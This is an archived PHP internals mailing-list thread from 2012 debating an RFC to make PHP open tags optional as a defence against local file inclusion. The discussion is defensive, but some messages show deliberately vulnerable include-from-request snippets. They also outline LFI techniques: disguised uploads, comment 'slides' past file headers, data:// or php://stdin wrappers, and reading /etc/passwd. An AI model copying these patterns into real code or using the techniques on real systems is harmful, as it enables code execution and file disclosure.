# Disabling PHP tags by php.ini and CLI options

- Thread: https://externals.io/message/59626
- Original archive: https://news-web.php.net/php.internals/59626
- Started by Yasuo Ohgaki on 2012-04-10T07:59:42+00:00
- Messages: 61
- RFC: Make PHP open tag optional for better security (Inactive) — https://externals.io/rfc/nophptags.md
- Page 1 of 3: messages 1 to 25 (25 per page, add `?page=N` to the URL)
- Next page: https://externals.io/message/59626.md?page=2
- Reply by email to internals@lists.php.net
- More for agents: search with https://externals.io/search.md?q={query} · RFCs at https://externals.io/rfc.md · JSON API at https://externals.io/api · documentation at https://externals.io/llms.txt

---

## #59626 — Yasuo Ohgaki — 2012-04-10T07:59:42+00:00

URL: https://externals.io/message/59626#59626

Hi all,

This is the RFC as in the title.
Although it's not a direct security measure, but it's related
to critical security problem prevention.

If you are not familiar to how to execute arbitrary PHP code,
steal data from RDBMS via SQL injection and LFI, it may be
interesting.

This RFC will not break any existing code. Programmers
may keep full backward compatibility while getting better
security.

https://wiki.php.net/rfc/nophptags

Please read and give comments.
Thank you.

P.S. This RFC is based on April Fool RFC written by Moriyoshi,
but this is serious RFC.

--
Yasuo Ohgaki
yohgaki@ohgaki.net

---

## #59636 — Yasuo Ohgaki — 2012-04-10T10:51:25+00:00

URL: https://externals.io/message/59626#59636 · In reply to: #59626

Hi all,

I've written most of thing that I would like to mention for this RFC.
I tried to be precise and understandable for anyone. If you have
questions, you are welcomed both on this list and in private.

Regards,

P.S. Directly fixing bad English on wiki is certainly appreciated.

--
Yasuo Ohgaki
yohgaki@ohgaki.net

---

## #59643 — John LeSueur — 2012-04-10T13:36:48+00:00

URL: https://externals.io/message/59626#59643 · In reply to: #59636

> Hi all,
>
> I've written most of thing that I would like to mention for this RFC.
> I tried to be precise and understandable for anyone. If you have
> questions, you are welcomed both on this list and in private.
>
> Regards,
>
> P.S. Directly fixing bad English on wiki is certainly appreciated.
>
> --
> Yasuo Ohgaki
> yohgaki@ohgaki.net
>
> --
> 
> 
>
>
I'm still unclear how LFI is a real concern. I have yet to see a sane
example of code that is vulnerable. No one should ever write:

include $_REQUEST['var'];
include $_SESSION['var'];
include $varFromDb;

Do you have an example of real-life modern code that is vulnerable? The
closest I've seen is some form of front controller:

$pathParts = implode('/', $_SERVER['PATH_INFO']);
$controllerClass = 'Controller' . $pathParts[0];
$controller = new $controllerClass;

which then in the autoloader, uses the class name to include the file.
Depending on the autoloader implementation, this is either invulnerable to
LFI, or very, very unlikely to be exploitable.

Now, as a webserver admin, maybe you have someone writing code that you
don't trust, and can't control. I don't see how an optional non-embedded
mode solves that problem, since it is a voluntary measure?

Someone mentioned open_basedir as a mitigation, and I feel it is superior,
since an admin can impose it without having to rely on voluntary
compliance. If you want something stronger, then why not create something
like:(note: this is not a real proposal)

safeinclude "/some/base/dir", $file;

which is equivalent to

$origBasedir = ini_set('open_basedir', '/some/base/dir');
include "/some/base/dir/$file";
ini_set('open_basedir', $origBasedir);

which allows the developer to specify where he expects the file to be, so
that attackers can't manipulate the filename to access any location they
want.

summary:
1. Is there an example of modern, sane code that is vulnerable to LFI? (you
mentioned some CVE's related to it, can you point them out?)
2. Isn't embedded vs. non-embedded mode a voluntary measure, thus not
protecting those inexperienced enough to write code that is vulnerable to
LFI?
3. Aren't there better options for protection against LFI?

---

## #59645 — Ferenc Kovacs — 2012-04-10T14:35:19+00:00

URL: https://externals.io/message/59626#59645 · In reply to: #59643

On Tue, Apr 10, 2012 at 3:36 PM, John LeSueur <john.lesueur@gmail.com>wrote:

> 
>
> > […]
> I'm still unclear how LFI is a real concern. I have yet to see a sane
> example of code that is vulnerable. No one should ever write:
>
> include $_REQUEST['var'];
> include $_SESSION['var'];
> include $varFromDb;
>
> Do you have an example of real-life modern code that is vulnerable?


http://web.nvd.nist.gov/view/vuln/search-results?query=php+inclusion&search_type=all&cves=on


> Someone mentioned open_basedir as a mitigation, and I feel it is superior,
> since an admin can impose it without having to rely on voluntary
> compliance. If you want something stronger, then why not create something
> like:(note: this is not a real proposal)
>
> safeinclude "/some/base/dir", $file;
>
> which is equivalent to
>
> $origBasedir = ini_set('open_basedir', '/some/base/dir');
> include "/some/base/dir/$file";
> ini_set('open_basedir', $origBasedir);
>

I think safeinclude wouldn't set open_basedir(as you can only tighten the
basedir restriction currently), but simply check against the allowed
path(s) and include the file if the path matches the whitelist, and that is
easily achievable from userland already.
On the other hand, if you would like to "jail" a piece of third party code,
having the ability to set the open_basedir for that codeblock would be
handy, so maybe this would be worth evaluating.

call_user_func_jail(
  function() {
    return call_third_party_insecure_app();
  },
  '/var/www/'.PATH_SEPARATOR.'/tmp/'
);


>
> which allows the developer to specify where he expects the file to be, so
> that attackers can't manipulate the filename to access any location they
> want.
>
> summary:
> 1. Is there an example of modern, sane code that is vulnerable to LFI? (you
> mentioned some CVE's related to it, can you point them out?)
>

see above


> 2. Isn't embedded vs. non-embedded mode a voluntary measure, thus not
> protecting those inexperienced enough to write code that is vulnerable to
> LFI?
>

I think it is, so those who need it most wouldn't use it imo.


> 3. Aren't there better options for protection against LFI?
>

as I wrote in my previous email on this topic, I think that proper user
input validation (including the file uploads, and properly restricting the
execution of the uploaded files) and already present additional hardening
options (open_basedir, allow_url_include) should be enough to prevent any
kind of LFI/RFI vulnerabilities if properly used.
I think it would be better idea to promote those techniques instead of
adding another somehow obscure option which wouldn't be used by the target
audience, but would be abused.

-- 
Ferenc Kovács
@Tyr43l - http://tyrael.hu

---

## #59661 — Chris Stockton — 2012-04-10T17:47:05+00:00

URL: https://externals.io/message/59626#59661 · In reply to: #59626

Hello,


> Hi all,
>
> This is the RFC as in the title.
> Although it's not a direct security measure, but it's related
> to critical security problem prevention.
>
> If you are not familiar to how to execute arbitrary PHP code,
> steal data from RDBMS via SQL injection and LFI, it may be
> interesting.
>
> This RFC will not break any existing code. Programmers
> may keep full backward compatibility while getting better
> security.
>
> https://wiki.php.net/rfc/nophptags
>
> Please read and give comments.
> Thank you.
>
> P.S. This RFC is based on April Fool RFC written by Moriyoshi,
> but this is serious RFC.
>

I'm sorry I have read your RFC and do not mean to offend, I appreciate
the effort you spent writing it but I have to say it is really far off
from actually solving the "Problem" you want to fix. I will suggest
you use the tokenizer extension if you really must do what you are
trying to describe.

My vote on this is -1

-Chris

---

## #59665 — John Crenshaw — 2012-04-10T18:13:59+00:00

URL: https://externals.io/message/59626#59665 · In reply to: #59626

From: yohgaki@gmail.com [mailto:yohgaki@gmail.com] On Behalf Of Yasuo Ohgaki
> 
> Hi all,
> 
> This is the RFC as in the title.
> Although it's not a direct security measure, but it's related to critical security problem prevention.
> 
> If you are not familiar to how to execute arbitrary PHP code, steal data from RDBMS via SQL injection and LFI, it may be interesting.
> 
> This RFC will not break any existing code. Programmers may keep full backward compatibility while getting better security.
> 
> https://wiki.php.net/rfc/nophptags

The proposed change will NOT make it safe to write require $_GET['name'];

Nothing can ever make that code safe. Even with remote inclusion turned off, even with php tags disabled. That code is fundamentally broken. It uses an uncontrolled input to execute arbitrary code and is only slightly more difficult to exploit than eval($_GET[foo']). In most systems you can upload *anything* with a .jpg extension and the app will take it, so you can still include the file, and the contents can drop straight into script, no tag needed. If the temporary upload directory is accessible to the PHP process at all you can also include the file, regardless of extension or content.

Alternately, in the unlikely case that file contents of uploads are validated, or the exploit file is otherwise not fully under control, you could use a noop slide of sorts (multiline comment, string, or docblock) to "slide" past any obligatory starting boilerplate or incontrollable garbage in a file to quickly reach the code point. Honestly it would be far harder to craft an attack file if you *REQUIRED* the file to start with <?php, since many file formats have obligatory tags in the first few bytes. If the file starts in code mode these tags can be terminated/jumped into a slide in a vast variety of ways (`;` or `;/*` or `.'`, just to name a few.) PHP will give a notice, but otherwise happily continue (assuming an alphanumeric tag, which is most common).

If that is too complicated, you could bypass the need for a file entirely by using data:// or php://stdin to effectively turn the require into an eval. I'm sure there are any number of other inventive exploits that I haven't even thought of.

The supposition that a user can (let alone will) make this code secure by disabling script tags is insane. It doesn't actually prevent this type of exploit in the first place. No shared host or distro could possibly get away with disabling this by default, because of the impact to legacy code, and someone who wrote "require $_GET['name']" isn't watching security on their side anyway. There's simply no sane reason for such an option, especially globally.

John Crenshaw
Priacta, Inc.

---

## #59675 — Yasuo Ohgaki — 2012-04-10T21:49:19+00:00

URL: https://externals.io/message/59626#59675 · In reply to: #59636

Hi,

It seems motivation of this RFC is better to be stated.
Motivation to have this RFC is

1. "File Includes" is fatal security breach.
2. The reason why PHP is unsecure to "File Include" than other
language is "Mandatory embed mode"
3. Non mandatory embed mode gives option users to better security.

With this RFC, PHP could be as safe as other scripting languages
with respect to file includes. This RFC is fully compatible with current
code. Writing backward compatible code is as few as 3 lines.

Most of security measures are not perfect solutions, but
mitigation, just like canary and DEP. I suppose people who are
concerned with security understand the value of these protections.

Is there any good reasons not to have non mandatory embed
mode as a additional security measure? Why not to make it harder
for attackers to exploit?

In short, I'm really annoyed to hear "PHP is insecure than
Ruby/Perl/Python/etc"

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

---

## #59696 — John Crenshaw — 2012-04-11T00:53:13+00:00

URL: https://externals.io/message/59626#59696 · In reply to: #59675

From: yohgaki@gmail.com [mailto:yohgaki@gmail.com] On Behalf Of Yasuo Ohgaki
> 
> Hi,
>
> It seems motivation of this RFC is better to be stated.
> Motivation to have this RFC is
>
> 1. "File Includes" is fatal security breach.
> 2. The reason why PHP is unsecure to "File Include" than other language is "Mandatory embed mode"
> 3. Non mandatory embed mode gives option users to better security.
>
> With this RFC, PHP could be as safe as other scripting languages with respect to file includes. This RFC is fully compatible with current code. Writing backward compatible code is as few as 3 lines.

No, I understood the reasons, but I reject the assumption that you are making. The "embed mode" doesn't have a measurable impact on the security of this system. The vulnerable code can be exploited in countless ways with or without embed mode.

> Most of security measures are not perfect solutions, but mitigation, just like canary and DEP. I suppose people who are concerned with security understand the value of these protections.

Look, I'm the first to stand up for improved security, but that's now what we have here. Just calling this a security improvement doesn't make it true.

> Is there any good reasons not to have non mandatory embed mode as a additional security measure? Why not to make it harder for attackers to exploit?

Yes. This fundamentally breaks the language. PHP was first and foremost a template language. In fact, the strong template integration is a huge part of why one would build a web site in PHP, not C++.

> In short, I'm really annoyed to hear "PHP is insecure than Ruby/Perl/Python/etc"

Anyone who says this is wrong. Ruby is in fact far less secure, because it doesn't even have cursory escaping functions and a variety of unpredictable behaviors (implicit returns) can lead to wild results.

John Crenshaw
Priacta, Inc.

---

## #59701 — Yasuo Ohgaki — 2012-04-11T02:51:50+00:00

URL: https://externals.io/message/59626#59701 · In reply to: #59696

Hi,

I've reorganized benefits in the RFC and would like to share

https://wiki.php.net/rfc/nophptags?&#why_this_is_better_than_now


2012/4/11 John Crenshaw <johncrenshaw@priacta.com>:
> From: yohgaki@gmail.com [mailto:yohgaki@gmail.com] On Behalf Of Yasuo Ohgaki
> > […]
>
> No, I understood the reasons, but I reject the assumption that you are making. The "embed mode" doesn't have a measurable impact on the security of this system. The vulnerable code can be exploited in countless ways with or without embed mode.

You are making bad assumption.
If we follow your assumption, we should not  implement any mitigation like
null byte protection nor open_basedir.

Bottom line is LFI is real thread and critical. This RFC provides feasible way
to remove the main cause. (i.e. Mandatory embedded mode)

>
> > […]
>
> Look, I'm the first to stand up for improved security, but that's now what we have here. Just calling this a security improvement doesn't make it true.

Please read reorganized section and other description in the RFC.

>
> > […]
>
> Yes. This fundamentally breaks the language. PHP was first and foremost a template language. In fact, the strong template integration is a huge part of why one would build a web site in PHP, not C++.

You misunderstood the RFC. It does *NOT* break anything. It's the best
of both embedded and non-embedded language.

> > […]
>
> Anyone who says this is wrong. Ruby is in fact far less secure, because it doesn't even have cursory escaping functions and a variety of unpredictable behaviors (implicit returns) can lead to wild results.

Yes, I know where Ruby/Perl/Python can be insecure than PHP.
I don't audit Python/Perl much but I do PHP/Ruby (and others)

If LFI vulnerability was uncommon, I would not insist this RFC strongly.
Mandatory embedded scripting far more insecure than non embedded or
optionally embedded languages.

I think you misunderstood the RFC, so I reorganized a little.
Please read and comment, if any.

https://wiki.php.net/rfc/nophptags

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

---

## #59704 — Stas Malyshev — 2012-04-11T04:48:06+00:00

URL: https://externals.io/message/59626#59704 · In reply to: #59701

Hi!

> https://wiki.php.net/rfc/nophptags?&#why_this_is_better_than_now

I'm sorry, but I do not understand how your proposal prevents LFI. Let's
say you had this file kill.php:
<?php kill_kill_kill();

and you were afraid that somebody would write the code "include
$_GET['foo'];" and pass kill.php as foo and kill your server. Now, you
propose banning <?php tag. So, kill.php would look like this:

kill_kill_kill();

and you still can include it with "include $_GET['foo'];" and get the
same result. Where's the difference?

-- 
Stanislav Malyshev, Software Architect
SugarCRM: http://www.sugarcrm.com/
(408)454-6900 ext. 227

---

## #59707 — Yasuo Ohgaki — 2012-04-11T05:21:41+00:00

URL: https://externals.io/message/59626#59707 · In reply to: #59704

Hi,

2012/4/11 Stas Malyshev <smalyshev@sugarcrm.com>:
> Hi!
>
> > […]
>
> I'm sorry, but I do not understand how your proposal prevents LFI. Let's
> say you had this file kill.php:
> <?php kill_kill_kill();

It's a common lazy technique that prevents unwanted script execution.
I've been using this as an additional security for a long time.
(It was common to me even before JSON hijack problem at least)

I'm sure you have seen the same code in JSON hijack countermeasure.

while(1){}

JS cannot kill script, so infinite loop is used.

>
> and you were afraid that somebody would write the code "include
> $_GET['foo'];" and pass kill.php as foo and kill your server. Now, you
> propose banning <?php tag. So, kill.php would look like this:
>
> kill_kill_kill();

We don't kill(), but validate with template_mode=off.
It's impossible injecting kill() into everywhere, but we can validate
file headers.

>
> and you still can include it with "include $_GET['foo'];" and get the
> same result. Where's the difference?

With template_mode=on, PHP behaves exactly the same as it is now.
The easiest way to prevent unwanted script execution is injecting kill()
at the beginning of file.

For files not under control, LFI just disclose it :(

With template_mode=off, all we have to do is making sure files have
valid (Non PHP code) header. Kill() injections are not required.

For files not under control, LFI results in syntax error almost always :)

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

---

## #59708 — Stas Malyshev — 2012-04-11T05:25:03+00:00

URL: https://externals.io/message/59626#59708 · In reply to: #59707

Hi!

> I'm sure you have seen the same code in JSON hijack countermeasure.
> 
> while(1){}

I think you misunderstood what I means. What I meant is you can inject
code without <? the same way you can inject code with <?, so where's the
improvement?
kill() function would be just an example of code being injected by
hostile third party (intent on killing your server, presumably). If I
can inject it with <?, what prevents me from injecting without <? ?
-- 
Stanislav Malyshev, Software Architect
SugarCRM: http://www.sugarcrm.com/
(408)454-6900 ext. 227

---

## #59716 — Yasuo Ohgaki — 2012-04-11T05:47:06+00:00

URL: https://externals.io/message/59626#59716 · In reply to: #59708

Hi,

2012/4/11 Stas Malyshev <smalyshev@sugarcrm.com>:
> Hi!
>
> > […]
>
> I think you misunderstood what I means. What I meant is you can inject
> code without <? the same way you can inject code with <?, so where's the
> improvement?

When template_mode=off, the only PHP tags that is allowed it
open tag at the beginning.  Other PHP tags result in syntax errors.
If I have file that has kill() in the middle of file and LFI is used,
it will result in syntax error.

Improvement is "We don't have to inject kill()" and "LFI with data
files result in syntax errors instead of disclosure"
(e.g. include('/etc/passwd'), include('.htaccess'))

Did I answer for you?

> kill() function would be just an example of code being injected by
> hostile third party (intent on killing your server, presumably). If I
> can inject it with <?, what prevents me from injecting without <? ?

If attacker can inject code at the beginning or make valid syntax
at the beginning, they can succeed injection. This is true not
only for PHP, but also Ruby/Perl/Python.

For example, a well known Ruby code injection for GIF image is

----
gif89a = 123;
(attack code here)
----

This is valid Ruby code and if attacker could find a way to load
the image, attack script can be executed.

As I stated in the RFC, template_mode=off is not a perfect solution.
Although it is not a perfect solution, but this is as effective as null
byte protection or allow_url_include.

I hope I answered your question.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

---

## #59717 — Stas Malyshev — 2012-04-11T06:08:36+00:00

URL: https://externals.io/message/59626#59717 · In reply to: #59716

Hi!

> If attacker can inject code at the beginning or make valid syntax
> at the beginning, they can succeed injection. This is true not
> only for PHP, but also Ruby/Perl/Python.

This is exactly my point. Since it does not solve the problem that you
are presenting (I am still not convinced it's our problem, but for the
same of discussion let's assume for now it is so) - why exactly would we
want to do it? I'm afraid we'd have another safe_mode scenario on our
hands here, where we lure users into complacency with false sense of
security, while not actually providing it.
-- 
Stanislav Malyshev, Software Architect
SugarCRM: http://www.sugarcrm.com/
(408)454-6900 ext. 227

---

## #59719 — Yasuo Ohgaki — 2012-04-11T06:36:58+00:00

URL: https://externals.io/message/59626#59719 · In reply to: #59717

Hi,

2012/4/11 Stas Malyshev <smalyshev@sugarcrm.com>:
> Hi!
>
> > […]
>
> This is exactly my point. Since it does not solve the problem that you
> are presenting (I am still not convinced it's our problem, but for the
> same of discussion let's assume for now it is so) - why exactly would we
> want to do it? I'm afraid we'd have another safe_mode scenario on our
> hands here, where we lure users into complacency with false sense of
> security, while not actually providing it.

safe_mode was security measure in first place.
(I liked it as fail safe feature. The name should have been
 fail_safe_mode)

template_mode=on is not a actual security measure, but a
switch for language mode. template_mode=on has side
effect that makes PHP as safe as other scripting languages
or even better!

Therefore, it should not be misunderstood as perfect LFI
countermeasure even if I stressed on security meanings.
I'm stressing security because this actually helps PHP being
much safer than now.

For this respect, template_mode=on is like prepared query.
Prepared query is *NOT* designed as a security measure, but
for better performance. Prepared query is not a perfect
SQL injection countermeasure as it never escape nor
parameterize identifiers/SQL literals. It works well as a
security measure for most cases, though.

There are many features that is used or considered as
security measure that aren't a perfect or designed for it.

We have to be careful about this so that PHP programmers
do not misunderstood LFI prevention is not required anymore,
 if we are going adopt this RFC for next PHP.

PHP could be stronger against LFI compare to scripting languages
as I described in previous mail.

With this RFC, infamous reputation of LFI can be removed from PHP!

I hope most of us will accept this RFC, if it is not all.
Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

---

## #59720 — Yasuo Ohgaki — 2012-04-11T06:49:13+00:00

URL: https://externals.io/message/59626#59720 · In reply to: #59719

Oops,

There are several language mistakes in previous mail, but this should be noted.

Prepared query is not a perfect SQL injection countermeasure as it
never escape nor
parameterize identifiers/SQL literals.

should be

Prepared query is not a perfect SQL injection countermeasure as it
never escape nor
parameterize identifiers/SQL statements (e.g. ORDER BY ASC/DESC, etc).

I've seen ASC/DESC as a parameter in a prepared query.
It should be validated if they are user inputs.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net



2012/4/11 Yasuo Ohgaki <yohgaki@ohgaki.net>:
> Prepared query is not a perfect
> SQL injection countermeasure as it never escape nor
> parameterize identifiers/SQL literals.

---

## #59726 — Stas Malyshev — 2012-04-11T07:59:28+00:00

URL: https://externals.io/message/59626#59726 · In reply to: #59719

Hi!

> template_mode=on is not a actual security measure, but a
> switch for language mode. template_mode=on has side
> effect that makes PHP as safe as other scripting languages
> or even better!

PHP is as safe as other scripting languages right now. And you are using
security talk to promote this proposal, including in this very email. If
you don't see it as security feature, please do not talk about it as a
security feature.

> Therefore, it should not be misunderstood as perfect LFI
> countermeasure even if I stressed on security meanings.
> I'm stressing security because this actually helps PHP being
> much safer than now.

I don't see how it is "much safer". Exactly the same problem exists. Not
only it is not "perfect" countermeasure, it's not countermeasure at all,
judging from your description. It's like saying "I have SQL injection
protection, but only if word "please" is not part of the SQL injection".
It's not a real protection then.

> PHP could be stronger against LFI compare to scripting languages
> as I described in previous mail.

PHP is as strong as any other language right now - if you include
user-supplied code, you lost, don't do it - no problem.

> With this RFC, infamous reputation of LFI can be removed from PHP!

I see no "infamous reputation" except the wrong one you are creating
right now. include with user-supplied argument is a security hole, it
has nothing to do with vulnerability in PHP.
-- 
Stanislav Malyshev, Software Architect
SugarCRM: http://www.sugarcrm.com/
(408)454-6900 ext. 227

---

## #59729 — Lester Caine — 2012-04-11T09:34:43+00:00

URL: https://externals.io/message/59626#59729 · In reply to: #59726

Stas Malyshev wrote:
> > […]
> PHP is as strong as any other language right now - if you include
> user-supplied code, you lost, don't do it - no problem.
>
> > […]
> I see no "infamous reputation" except the wrong one you are creating
> right now. include with user-supplied argument is a security hole, it
> has nothing to do with vulnerability in PHP.

Some evidence that this is an 'infamous' problem would be useful. I certainly 
can only see old references to the null byte problem used for LFI which was 
fixed in 5.3.4 but it's impossible to remove all the 'bad practices' from 
tutorials on the internet which create many of the problems in the first place? 
Certainly I can't see anything which suggests that disabling the PHP tags would 
do anything for LFI? I would hope that my own sites follow the right rules to 
prevent any problems already ...

-- 
Lester Caine - G8HFL
-----------------------------
Contact - http://lsces.co.uk/wiki/?page=contact
L.S.Caine Electronic Services - http://lsces.co.uk
EnquirySolve - http://enquirysolve.com/
Model Engineers Digital Workshop - http://medw.co.uk//
Firebird - http://www.firebirdsql.org/index.php

---

## #59730 — Yasuo Ohgaki — 2012-04-11T10:17:17+00:00

URL: https://externals.io/message/59626#59730 · In reply to: #59726

Hi,

2012/4/11 Stas Malyshev <smalyshev@sugarcrm.com>:
> Hi!
>
> > […]
>
> PHP is as safe as other scripting languages right now. And you are using
> security talk to promote this proposal, including in this very email. If
> you don't see it as security feature, please do not talk about it as a
> security feature.

It is just like saying "Java is more secure than C"
C is danger than Java by its nature due to memory management.

PHP is danger than others by its mandatory embedded scripting.
Not like others, PHP exposes whatever files with permission with

include $_GET['var'];

I agree it's not a security feature, but language nature. However,
it is not reasonable that not to emphasise one of the most
important benefit, isn't it?


>
> > […]
>
> I don't see how it is "much safer". Exactly the same problem exists. Not
> only it is not "perfect" countermeasure, it's not countermeasure at all,
> judging from your description. It's like saying "I have SQL injection
> protection, but only if word "please" is not part of the SQL injection".
> It's not a real protection then.

There are only few perfect solutions for security. Neither
null byte protection nor allow_url_include are not a perfect
solutions.
(allow_url_include may be improved. Or is it already?)

>
> > […]
>
> PHP is as strong as any other language right now - if you include
> user-supplied code, you lost, don't do it - no problem.

This argument will be true for most of security countermeasures.
Anyway, non mandatory scripting could be think as a security
countermeasure, but it's side effect.

>
> > […]
>
> I see no "infamous reputation" except the wrong one you are creating
> right now. include with user-supplied argument is a security hole, it
> has nothing to do with vulnerability in PHP.

Once again, it's the same for null byte protection.
I really like the null byte protection. I think it's brilliant.

I don't know about your country, but I know many developers/users
who think PHP is dangerous because of easy LFI.

According to basic risk manage textbook, risk is a formula that consists
by "Damage when indent happened" and "The probability that a incident happens".

Damage of LFI:  extreme (code execution/massive information disclosure)
Probability of LFI: common

This fact makes me to impossible to ignore the risk.
Since other people is discussing for having script only files,
considering to remove the known risk is reasonable act, I suppose.

I've spent a lot of time to describe how PHP users could be
protected from real life risk in the RFC. I hope you are not
against basic risk management principle. You don't have to
think of this RFC as security countermeasure, but the effect
of the RFC adoption should be considered.

I argue this RFC with respect to security, since security is the
primary motivation of this RFC to me. Applications like
Wordpress and other countless PHP apps are at the great risk,
since there are many developers including novice.

Why we shouldn't consider security benefits of the RFC?

Regards,


P.S.
You might have missed SQL injection and LFI.
(See bottom part of Introduction)
https://wiki.php.net/rfc/nophptags?&#introduction
SQL injections and LFI is common PHP app vulnerability.

I've updated a lot, please read at least this section also.
https://wiki.php.net/rfc/nophptags?&#why_this_is_better_than_now

--
Yasuo Ohgaki
yohgaki@ohgaki.net

---

## #59732 — Rasmus Lerdorf — 2012-04-11T14:08:35+00:00

URL: https://externals.io/message/59626#59732 · In reply to: #59726

> > […]
> 
> I don't see how it is "much safer". Exactly the same problem exists. Not
> only it is not "perfect" countermeasure, it's not countermeasure at all,
> judging from your description. It's like saying "I have SQL injection
> protection, but only if word "please" is not part of the SQL injection".
> It's not a real protection then.

I guess he is saying that it prevents:

   Random bytes
   <?php kill();?>
   More random bytes

Where random bytes might be an image file so `finfo_file()` might identify
it as a valid image whereas it doesn't prevent:

  <?php kill();?>
  Random bytes

from being mistakenly included. And I guess a secondary thing it might
prevent is an include of something like /etc/passwd since there is no
valid PHP code there and it would error out.

So, those are the pros. The cons are:

1. Creating a new mode for PHP that essentially breaks most existing PHP
code if this mode is enabled puts more pressure on people trying to
write portable code. It would encourage them to never use templating
mode since non-templating mode is the only safe approach that would work
regardless of the configuration. Much the same way that all portable
code uses <?php and no <?

2. Templating is a defining characteristic of PHP. For many people it is
the primary reason they even use PHP. Adding a feature that would
essentially discourage use of a defining feature of PHP is illogical.

3. For the /etc/passwd case, the syntax error might reveal enough data
about the contents of the file that this doesn't actually provide enough
of a benefit unless we also heavily redact what we show in a syntax
error. Of course, the argument here is not to show the error to users,
but people who write code with include $_GET['filename'] aren't likely
to follow best practices in the first place.

4. Only protecting against mid-script injections and not top-of-script
injections is a somewhat subtle concept when the real problem is the
vulnerable include $_GET['filename'] hole. If this really is a prevalent
problem, maybe instead of trying to mitigate the symptoms, why don't we
try to attack the actual cause of the problem. I would love to hear some
ideas along those lines that don't fundamentally change the nature of
PHP for somewhat cloudy benefits.

-Rasmus

---

## #59733 — Luke Scott — 2012-04-11T15:12:37+00:00

URL: https://externals.io/message/59626#59733 · In reply to: #59732

Hey Rasmus,

Here are my thoughts:



> 
> > […]
>
> I guess he is saying that it prevents:
>
>   Random bytes
>   <?php kill();?>
>   More random bytes
>
> Where random bytes might be an image file so `finfo_file()` might identify
> it as a valid image whereas it doesn't prevent:
>
>  <?php kill();?>
>  Random bytes
>
> from being mistakenly included. And I guess a secondary thing it might
> prevent is an include of something like /etc/passwd since there is no
> valid PHP code there and it would error out.

Isn't this determined by the web server, not PHP? The only way this
would happen is if image files were sent to the PHP interpreter or the
image had a .php.

In both cases it's the server admins responsibility to make sure the
web server doesn't send any file from an upload folder to the PHP
interpreter, with a .PHP extension or not. The programmer should also
be mindful of what extensions are being allowed to go in the upload
folder incase the server admin was negligent.

The only benefit is only having to check the start of the file for a
<?php tag. But if both the programmer and server admin are being
negligent this benefit is moot.

> So, those are the pros. The cons are:
>
> 1. Creating a new mode for PHP that essentially breaks most existing PHP
> code if this mode is enabled puts more pressure on people trying to
> write portable code. It would encourage them to never use templating
> mode since non-templating mode is the only safe approach that would work
> regardless of the configuration. Much the same way that all portable
> code uses <?php and no <?

Tom has a "similar" RFC that has two modes:

- Template mode - how it is now
- Code (or pure code) mode - <?php is only allowed at the top and is
optional. ?> is disallowed.

Tom's RFC calls for template mode to remain the default, but allow you
to add a flag to require/include to interpret the script in "pure
mode". Allowing an optional starting <?php (only at top) maintains
backwards compatibility with most classes.

The benefit is not having to write <?php and forbidding ?> in the
middle of a class (which most people already do voluntarily).

> 2. Templating is a defining characteristic of PHP. For many people it is
> the primary reason they even use PHP. Adding a feature that would
> essentially discourage use of a defining feature of PHP is illogical.

True. People are side stepping this though for template engines such
as Twig, PHPTAL, Smarty (ug..), just to name a few.

PHP is being used more as a programming language than a template
engine. People have already naturally gravitated towards keeping their
code separate.

Toms proposal of a code and template mode makes sense. It clearly
separates the two. You could theoretically enhance the template part.
Like I love the idea of PHPTAL - I wrote a similar template engine
that uses attributes to convey logic (data-if, for example). Attribute
syntax preserves the design of a template. Right now I have to parse
this and convert this to a PHP class. Wouldn't it be great if PHP did
this in its template mode? Or easily allowed people to provide
alternate "template engines" that required no pre-parsing in PHP
(other than the usual code to opcode transformation)?

> 3. For the /etc/passwd case, the syntax error might reveal enough data
> about the contents of the file that this doesn't actually provide enough
> of a benefit unless we also heavily redact what we show in a syntax
> error. Of course, the argument here is not to show the error to users,
> but people who write code with include $_GET['filename'] aren't likely
> to follow best practices in the first place.
>
> 4. Only protecting against mid-script injections and not top-of-script
> injections is a somewhat subtle concept when the real problem is the
> vulnerable include $_GET['filename'] hole. If this really is a prevalent
> problem, maybe instead of trying to mitigate the symptoms, why don't we
> try to attack the actual cause of the problem. I would love to hear some
> ideas along those lines that don't fundamentally change the nature of
> PHP for somewhat cloudy benefits.

The problem is people are doing that. The solution is they should stop
doing that. Anyone doing this is asking for trouble. The fix is better
education.

In the end while I do support the idea of not allowing "embed mode"
(as a choice when doing require/include), I cannot support the idea
that it somehow makes things more secure.

Luke

---

## #59735 — Rasmus Lerdorf — 2012-04-11T15:45:27+00:00

URL: https://externals.io/message/59626#59735 · In reply to: #59733

> Tom has a "similar" RFC that has two modes:
> 
> - Template mode - how it is now
> - Code (or pure code) mode - <?php is only allowed at the top and is
> optional. ?> is disallowed.
> 
> Tom's RFC calls for template mode to remain the default, but allow you
> to add a flag to require/include to interpret the script in "pure
> mode". Allowing an optional starting <?php (only at top) maintains
> backwards compatibility with most classes.

And my objection to that is similar. An optional templating mode is the
same as optional short_tags. it discourages template mode the same way
short_tags are discouraged. For short_tags that discouragement makes
sense. For templating it doesn't.

-Rasmus

---

## #59739 — Kris Craig — 2012-04-11T17:37:45+00:00

URL: https://externals.io/message/59626#59739 · In reply to: #59735

> 
> > […]
>
> And my objection to that is similar. An optional templating mode is the
> same as optional short_tags. it discourages template mode the same way
> short_tags are discouraged. For short_tags that discouragement makes
> sense. For templating it doesn't.
>

I have some objections to that RFC as well, but one question that comes to
my mind is, does allowing a "pure code" PHP mode really *discourage* use of
templating mode; and, if so, how?  From an MVC architectural standpoint, I
can actually see some benefit in having a type of code-only PHP file,
though Tom's current RFC negates that by allowing HTML bits to be included
upstream so I'll probably be voting it down anyway.  But conceptually, at
least, I think the idea has some merit IMHO.

--Kris


>
> -Rasmus

---

## #59740 — John Crenshaw — 2012-04-11T17:38:58+00:00

URL: https://externals.io/message/59626#59740 · In reply to: #59732

From: Rasmus Lerdorf [mailto:rasmus@lerdorf.com] 
> I guess he is saying that it prevents:
> 
>    Random bytes
>    <?php kill();?>
>    More random bytes
>
> Where random bytes might be an image file so `finfo_file()` might identify it as a valid image

